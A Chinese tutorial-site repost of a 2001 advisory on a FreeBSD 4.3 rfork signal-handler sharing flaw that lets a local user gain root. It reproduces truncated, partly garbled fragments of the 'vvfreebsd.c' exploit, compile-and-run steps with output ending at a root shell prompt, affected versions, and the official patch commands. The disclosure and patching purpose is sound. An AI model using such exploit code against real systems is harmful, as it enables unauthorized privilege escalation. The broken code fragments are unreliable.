本地攻击者利用FreeBSD4.3设计漏洞取得系统特权_网络冲浪教程-查字典教程网
本地攻击者利用FreeBSD4.3设计漏洞取得系统特权
本地攻击者利用FreeBSD4.3设计漏洞取得系统特权
发布时间:2016-12-26 来源:查字典编辑
摘要:发现FreeBSD4.3存在一个设计上的漏洞,它允许用户在其它进程中插入signalhandlers。问题出在rfork(RFPROC|RF...

发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。

利用此漏洞,本地攻击者能取得 root 权限。

以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负

-------------vvfreebsd.c----------------------

/}

}

printf("vvfreebsd. Written by Georgi Guninskin");

printf("shall jump to %xn",vv1);

if(!(pid=rfork(RFPROC|RFSIGSHARE)))

{

printf("child=%dn",getpid());

// /usr/bin/login and rlogin work for me. ping gives nonsuid shell

// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))

kill(pid,MYSIG);

printf("donen");

while(42);

}

...............................

.........................

.............

受影响版本:

FreeBSD 4.3 4.2 4.1 4.0

早期版本也许受影响

解决方案:

尚无

****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ******

测试程序使用方法:

netdemon%gcc -o vvbsd vvbsd.c

netdemon%cp /bin/sh /tmp

netdemon%./vvbsd

vvfreebsd. Written by Georgi Guninski

shall jump to bfbffe71

child=61056

login:

login: # done

#

FreeBSD以此作出补丁

方法:

# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch

# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc

# cd /usr/src/sys/kern

# patch -p < /path/to/patch

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新网络冲浪学习
    热门网络冲浪学习
    实用技巧子分类